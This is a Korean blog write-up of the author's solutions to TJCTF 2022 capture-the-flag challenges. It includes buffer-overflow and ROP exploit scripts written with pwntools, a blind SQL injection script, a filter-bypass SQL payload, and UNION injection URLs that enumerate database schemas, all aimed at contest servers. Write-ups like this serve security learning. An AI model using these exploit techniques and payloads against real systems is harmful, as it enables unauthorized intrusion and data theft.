TJCTF 2022 Writeup

안수현·2022년 5월 27일
1
post-thumbnail

바이너리 익스플로잇 문제와 웹 문제가 유익하고 재미있어서 좋았다.
또 팀원이 포렌식 문제를 진짜 잘 풀어서 너무 고마웠다.

모든 팀 중에서 63위를 했으며 총 768팀이 참여했다.

대회 정보는 이 링크를 참고하면 된다.
https://ctftime.org/event/1599

여기에는 내가 푼 문제만 작성했고 팀원이 푼 문제는 아래의 링크에서 확인할 수 있다.
https://github.com/t1mmyt1m/tjctf-2022-writeup

Pwnable

favorite-color

쉬운 문제였다. 그냥 잠깐 분석하고 바로 해결했다.

문제 소스코드는 아래와 같았다.

#include <stdio.h>
#include <stdlib.h>

struct Color
{
    char friendlyName[32];
    unsigned char r, g, b;
};

struct Color myFavoriteColor = {.friendlyName = "purple", .r = 0x32, .g = 0x54, .b = 0x34};

int main()
{
    unsigned char r, g, b;
    struct Color c;

    setbuf(stdout, NULL);

    puts("what's your favorite color's rgb value? (format: r, g, b)");
    scanf("%hu, %hu, %hu", &r, &g, &b);

    if (r == myFavoriteColor.r && g == myFavoriteColor.g && b == myFavoriteColor.b)
    {
        puts("no!!!");
        return 1;
    }

    puts("good... good... and its pretty name?");
    scanf("%s", &(c.friendlyName));

    c.r = r;
    c.g = g;
    c.b = b;

    printf("%s (%d, %d, %d) is a pretty cool color... but it's not as cool as %s (%d, %d, %d)...\n",
           c.friendlyName, c.r, c.g, c.b,
           myFavoriteColor.friendlyName, myFavoriteColor.r, myFavoriteColor.g, myFavoriteColor.b);

    if (c.r == myFavoriteColor.r && c.g == myFavoriteColor.g && c.b == myFavoriteColor.b)
    {
        puts("oh wait...");
        puts("it seems as if they're the same...");

        char buf[100] = {0};
        FILE *file = fopen("./flag.txt", "r");
        if (file == NULL)
        {
            puts("no flag!!! feels bad L");
            exit(1);
        }

        fgets(buf, 64, file);
        printf("here's a flag: %s", buf);
        fclose(file);
    }
}

그냥 버퍼 오버플로를 이용해서 구조체의 r, g, b 를 overwrite 하면 해결된다.

vacation-1

기초적인 버퍼 오버플로 문제였다. 크게 어려운 문제는 아니였다.
x86_64 아키텍처에 보호기법은 Partial RELRO 와 NX 만 활성화되어 있었다.

문제 소스코드는 아래와 같았다.

#include <stdio.h>
#include <stdlib.h>

void shell_land() {
  system("/bin/sh");
}

void vacation() {
  char buf[16];
  puts("Where am I going today?");
  fgets(buf, 64, stdin);
}

void main() {
  setbuf(stdout, NULL);
  vacation();
  puts("hmm... that doesn't sound very interesting...");
}

간단하게 버퍼 오버플로 취약점을 이용하여 ret2func 공격을 하여 shell_land 함수를 실행시키기만 하면 해결된다. 익스플로잇 코드는 아래와 같다.

#!/usr/bin/python3
from pwn import *

p = remote("tjc.tf", 31680)
#p = process("./chall")
#input()

print(p.recv())

buf = b""
buf += b'A' * 24
buf += p64(0x0040101a)
buf += p64(0x00401196)

p.sendline(buf)

p.interactive()

p.close()

vacation-2

앞의 문제에서 shell_land 함수만 사라졌다.

문제 소스코드는 아래와 같았다.

#include <stdio.h>
#include <stdlib.h>

void vacation() {
  char buf[16];
  puts("Where am I going today?");
  fgets(buf, 64, stdin);
}

void main() {
  setbuf(stdout, NULL);
  vacation();
  puts("hmm... that doesn't sound very interesting...");
}

쉘을 실행하는 함수가 문제 바이너리 안에 없기 때문에 라이브러리에서 찾아야 한다. PIE 보호기법이 꺼져 있기 때문에 puts 함수를 이용하여 라이브러리 시작 지점을 구하면 된다. ROP 기법을 사용하여 공격하였다.

익스플로잇 코드는 아래와 같다.

#!/usr/bin/python3
from pwn import *

context.log_level='debug'

p = remote("tjc.tf", 31705)
l = ELF("./lib/libc-2.31.so")

#p = process("./chall")
#l = ELF("/lib/x86_64-linux-gnu/libc.so.6")

e = ELF("./chall")

print(p.recv())

ret = 0x0040101a
home = 0x00401176
pop_rdi = 0x00401243
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]

buf = b""
buf += b'A' * 24
buf += p64(ret)
buf += p64(pop_rdi)
buf += p64(puts_got)
buf += p64(puts_plt)
buf += p64(home)

p.send(buf)

offset = p.recv(6) + b'\x00\x00'
offset = u64(offset)
offset -= l.sym["puts"]

print(hex(offset))

bin_sh = offset + list(l.search(b"/bin/sh"))[0]
system_sym = offset + l.sym["system"]

print(hex(bin_sh))
print(hex(system_sym))

print(p.recv())

buf = b""
buf += b'A' * 23
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(system_sym)

p.sendline(buf)

p.interactive()

p.close()

Reversing

take-a-l

소스코드가 없기 때문에 어셈블리어를 분석하거나 디컴파일해야 한다.

radare2 로 디스어셈블한 결과는 아래와 같았다.

            ; DATA XREF from entry0 @ 0x56205c92a0e1
┌ 229: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_60h @ rbp-0x60
│           ; var int64_t var_58h @ rbp-0x58
│           ; var int64_t var_50h @ rbp-0x50
│           ; var int64_t var_8h @ rbp-0x8
│           0x56205c92a1a9      f30f1efa       endbr64
│           0x56205c92a1ad      55             push rbp
│           0x56205c92a1ae      4889e5         mov rbp, rsp
│           0x56205c92a1b1      4883ec60       sub rsp, 0x60
│           0x56205c92a1b5      64488b042528.  mov rax, qword fs:[0x28]
│           0x56205c92a1be      488945f8       mov qword [var_8h], rax
│           0x56205c92a1c2      31c0           xor eax, eax
│           0x56205c92a1c4      488d3d5f0e00.  lea rdi, str.Whats_your_flag_ ; 0x56205c92b02a ; "What's your flag?"
│           0x56205c92a1cb      e8b0feffff     call sym.imp.puts       ; int puts(const char *s)
│           0x56205c92a1d0      488b15392e00.  mov rdx, qword [reloc.stdin] ; [0x56205c92d010:8]=0
│           0x56205c92a1d7      488d45b0       lea rax, [var_50h]
│           0x56205c92a1db      be40000000     mov esi, 0x40           ; '@' ; 64
│           0x56205c92a1e0      4889c7         mov rdi, rax
│           0x56205c92a1e3      e8c8feffff     call sym.imp.fgets      ; char *fgets(char *s, int size, FILE *stream)
│           0x56205c92a1e8      488d45b0       lea rax, [var_50h]
│           0x56205c92a1ec      4889c7         mov rdi, rax
│           0x56205c92a1ef      e89cfeffff     call sym.imp.strlen     ; size_t strlen(const char *s)
│           0x56205c92a1f4      4883e801       sub rax, 1
│           0x56205c92a1f8      488945a8       mov qword [var_58h], rax
│           0x56205c92a1fc      48837da819     cmp qword [var_58h], 0x19
│       ┌─< 0x56205c92a201      7413           je 0x56205c92a216
│       │   0x56205c92a203      488d3d320e00.  lea rdi, [0x56205c92b03c] ; u"LW\u1b01\u3b03D"
│       │   0x56205c92a20a      e871feffff     call sym.imp.puts       ; int puts(const char *s)
│       │   0x56205c92a20f      b801000000     mov eax, 1
│      ┌──< 0x56205c92a214      eb62           jmp 0x56205c92a278
│      │└─> 0x56205c92a216      48c745a00000.  mov qword [var_60h], 0
│      │┌─< 0x56205c92a21e      eb3d           jmp 0x56205c92a25d
│     ┌───> 0x56205c92a220      488d55b0       lea rdx, [var_50h]
│     ╎││   0x56205c92a224      488b45a0       mov rax, qword [var_60h]
│     ╎││   0x56205c92a228      4801d0         add rax, rdx
│     ╎││   0x56205c92a22b      0fb608         movzx ecx, byte [rax]
│     ╎││   0x56205c92a22e      488d15db0d00.  lea rdx, obj.flag       ; 0x56205c92b010 ; "fxqftiuuus\x7fw`aaaaaaaaa'ao"
│     ╎││   0x56205c92a235      488b45a0       mov rax, qword [var_60h]
│     ╎││   0x56205c92a239      4801d0         add rax, rdx
│     ╎││   0x56205c92a23c      0fb600         movzx eax, byte [rax]
│     ╎││   0x56205c92a23f      31c8           xor eax, ecx
│     ╎││   0x56205c92a241      3c12           cmp al, 0x12            ; 18
│    ┌────< 0x56205c92a243      7413           je 0x56205c92a258
│    │╎││   0x56205c92a245      488d3df00d00.  lea rdi, [0x56205c92b03c] ; u"LW\u1b01\u3b03D"
│    │╎││   0x56205c92a24c      e82ffeffff     call sym.imp.puts       ; int puts(const char *s)
│    │╎││   0x56205c92a251      b801000000     mov eax, 1
│   ┌─────< 0x56205c92a256      eb20           jmp 0x56205c92a278
│   │└────> 0x56205c92a258      488345a001     add qword [var_60h], 1
│   │ ╎││   ; CODE XREF from main @ 0x56205c92a21e
│   │ ╎│└─> 0x56205c92a25d      488b45a0       mov rax, qword [var_60h]
│   │ ╎│    0x56205c92a261      483b45a8       cmp rax, qword [var_58h]
│   │ └───< 0x56205c92a265      72b9           jb 0x56205c92a220
│   │  │    0x56205c92a267      488d3dd00d00.  lea rdi, [0x56205c92b03e] ; "W"
│   │  │    0x56205c92a26e      e80dfeffff     call sym.imp.puts       ; int puts(const char *s)
│   │  │    0x56205c92a273      b800000000     mov eax, 0
│   │  │    ; CODE XREFS from main @ 0x56205c92a214, 0x56205c92a256
│   └──└──> 0x56205c92a278      488b75f8       mov rsi, qword [var_8h]
│           0x56205c92a27c      644833342528.  xor rsi, qword fs:[0x28]
│       ┌─< 0x56205c92a285      7405           je 0x56205c92a28c
│       │   0x56205c92a287      e814feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       └─> 0x56205c92a28c      c9             leave
└           0x56205c92a28d      c3             ret

문자열 fxqftiuuus\x7fw`aaaaaaaaa'ao에 바이트 단위로 0x12(18)과 xor 연산을 하여 사용자의 입력값과 비교하고 있다. 맞으면 W, 틀리면 L이 출력된다.

아래와 같은 간단한 파이썬 스크립트로 해결할 수 있었다.

#!/usr/bin/python3

string = "fxqftiuuus\x7fw`aaaaaaaaa'ao"
key = 0x12

for i in string:
    o = ord(i)
    o ^= key
    o = chr(o)
    print(o, end = "")

실행시켜 보면 tjctf{gggamersssssssss5s}이라는 플래그를 얻을 수 있다.

Web

game-leaderboard

블라인드 SQL 인젝션 문제이다. DB 내용이 시간이 지나면 변하는 것으로 추정되기 때문에 여기서 작성한 익스플로잇은 나중에 쓰면 아마 실패할 것이다.

함께 제공된 index.js 파일은 아래와 같았다.

const express = require('express')
const cookieParser = require('cookie-parser')
const fs = require('fs')
const app = express()

app.use(cookieParser())

app.set('view engine', 'ejs')
app.use(express.static(`${__dirname}/public`))
app.use(express.urlencoded({ extended: false }))

const db = require('./db')

const FLAG = fs.readFileSync(`${__dirname}/flag.txt`).toString().trim()

const getLeaderboard = (minScore) => {
    const where = (typeof minScore !== 'undefined' && minScore !== '') ? ` WHERE score > ${minScore}` : ''
    const query = `SELECT profile_id, name, score FROM leaderboard${where} ORDER BY score DESC`
    const stmt = db.prepare(query)

    const leaderboard = []
    for (const row of stmt.iterate()) {
        if (leaderboard.length === 0) {
            leaderboard.push({ rank: 1, ...row })
            continue
        }
        const last = leaderboard[leaderboard.length - 1]
        const rank = (row.score == last.score) ? last.rank : last.rank + 1
        leaderboard.push({ rank, ...row })
    }

    return leaderboard
}

app.get('/', (req, res) => {
    const leaderboard = getLeaderboard()
    return res.render('leaderboard', { leaderboard })
})

app.post('/', (req, res) => {
    const leaderboard = getLeaderboard(req.body.filter)
    return res.render('leaderboard', { leaderboard })
})

app.get('/user/:userID', (req, res) => {
    const leaderboard = getLeaderboard()
    const total = leaderboard.length

    const profile = leaderboard.find(x => x.profile_id == req.params.userID)
    if (typeof profile === 'undefined') {
        return res.render('user_info', { notFound: true })
    }

    const flag = (profile.rank === 1) ? FLAG : 'This is reserved for winners only!'
    return res.render('user_info', { total, flag, ...profile })
})

app.listen(3000, () => {
    console.log('server started')
})

1위의 유저 ID 값을 구하기만 하면 된다. SQL 인젝션이 가능한 것을 확인할 수 있다.

우선 인젝션이 가능한 것을 확인하였다. 하지만 이후 ASCII 함수가 계속 실패하였는데 UNICODE 함수를 사용하니 작동하였다.

최종적인 익스플로잇은 아래와 같다.

#!/usr/bin/python3
import requests

score = 59
url = "https://game-leaderboard.tjc.tf"

ok = []

for i in range(1, 17):
    print(i)
    for j in range(48, 123):
        buf = "%d AND UNICODE(SUBSTR(profile_id, %d, 1)) = %d" % (score - 1, i, j)
        r = requests.post(url, data = {"filter" : buf})
        test = '<td class="text-center">%d</td>' % score
        if test in r.text:
            print(chr(j), "CORRECT!")
            ok.append(chr(j))
            break
        else:
            print(chr(j), "NOPE!")

ok = "".join(ok)
print(ok)

실행시켜 보면 플래그를 얻을 수 있었다. (점수가 변해서 지금은 익스플로잇을 수정해야 가능할 것이다.)

ascordle

SQL 인젝션 필터링 우회 문제였다. 꽤 고민했는데 알고 보니 간단했다.

서버의 구성 파일 중 index.js 파일은 아래와 같았다.

const express = require('express')

const app = express()
app.use(express.json())

const db = require('./db')
const { randStr } = require('./utils')

const fs = require('fs')
const flag = fs.readFileSync('flag.txt').toString().trim()

const wrong = new Array(16).fill("N")
const right = new Array(16).fill("G")

const randomize = () => {
    const word = randStr(16).replaceAll("'", "''")
    const query = db.prepare(`UPDATE answer SET word = '${word}'`)
    query.run() // haha now you will never get the word
}

const waf = (str) => {
    const banned = ["OR", "or", "--", "=", ">", "<"]
    for (const no of banned) {
        if (str.includes(no)) return false
    }
    return true
}

const getWord = () => {
    const query = db.prepare('SELECT * FROM answer')
    return query.get()
}

const checkWord = (word) => {
    const query = db.prepare(`SELECT * FROM answer WHERE word = '${word}'`)
    return typeof query.get() !== 'undefined'
}

app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html')
})

app.post('/guess', (req, res) => {
    if (typeof req.body.word !== 'string') {
        return res.status(400).end('???')
    }

    randomize()

    const word = req.body.word
    if (!waf(word)) {
        return res.json({
            check: false,
            flag: null,
            sql: true,
            colors: wrong,
        })
    }

    const { word: correct } = getWord()

    try {
        if (checkWord(word)) {
            return res.json({
                check: true,
                flag: flag,
                sql: false,
                colors: right,
            })
        }
    } catch (e) {
        return res.json({
            check: false,
            flag: null,
            sql: false,
            colors: wrong,
        })
    }

    const colors = Array.from(wrong)
    const maybe = new Map()
    for (let i = 33; i <= 126; i++) {
        maybe.set(String.fromCharCode(i), 0)
    }
    for (let i = 0; i < 16; i++) {
        const c = correct.charAt(i)
        if (word.charAt(i) === c) {
            colors[i] = "G"
        } else {
            maybe.set(c, maybe.get(c) + 1)
        }
    }
    for (let i = 0; i < 16; i++) {
        if (colors[i] === "G") continue
        const c = word.charAt(i)
        if (maybe.get(c) > 0) {
            colors[i] = "Y"
            maybe.set(c, maybe.get(c) - 1)
        }
    }

    return res.json({
        check: false,
        flag: null,
        sql: false,
        colors: colors,
    })
})

app.listen(3000, '0.0.0.0')

OR, or, --, =, >, < 이 필터링된다. 하지만 Or 은 필터링 목록에 없다!

테스트를 편하게 하기 위해서 간단한 스크립트를 작성해서 풀었다.

#!/bin/bash

read word
curl -d "{\"word\":\"$word\"}" -H "Content-Type: application/json" -X POST https://ascordle.tjc.tf/guess
echo " OK"

실행시켜서 1' Or '1 을 입력해 보면 플래그를 얻을 수 있었다.

analects

UNION 기반 SQL 인젝션 문제이다.

서버의 구성 파일 중 search.php 를 발견하였는데, 이 파일에서 취약점이 발생한다.

<?php

  mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

  function search() {
    $ret = [];

    if (!isset($_GET["q"])) {
      return $ret;
    }

    $db = new mysqli("p:mysql", "app", "07b05ee6779745b258ef8dde529940012b72ba3a007c7d40a83f83f0938b5bf0", "analects");

    $query = addslashes($_GET["q"]);
    $sql = "SELECT * FROM analects WHERE chinese LIKE '%{$query}%' OR english LIKE '%{$query}%'";
    $result = $db->query($sql);

    while ($row = $result->fetch_assoc()) {
      $row["chinese"] = mb_convert_encoding($row["chinese"], "UTF-8", "GB18030");
      $row["english"] = mb_convert_encoding($row["english"], "UTF-8", "GB18030");
      array_push($ret, $row);
    }
    $result->free_result();

    return $ret;
  }

  header('Content-Type: application/json; charset=UTF-8');
  echo json_encode(search());
?>

유니코드 인코딩을 이용해서 인젝션에 성공했다.

UNION 기반으로 공격을 시도하기로 하였다.

UNION 기반으로 아래와 같이 컬럼명과 테이블명을 얻은 다음 플래그를 읽었다.

테이블명 유출: 1%aa%27%20union%20select%201,2,3,4,5,table_name%20from%20information_schema.tables%23
필드명 유출: 1%aa%27%20union%20select%201,2,3,4,5,column_name%20from%20information_schema.columns%23

profile
초보 해커의 생존기

0개의 댓글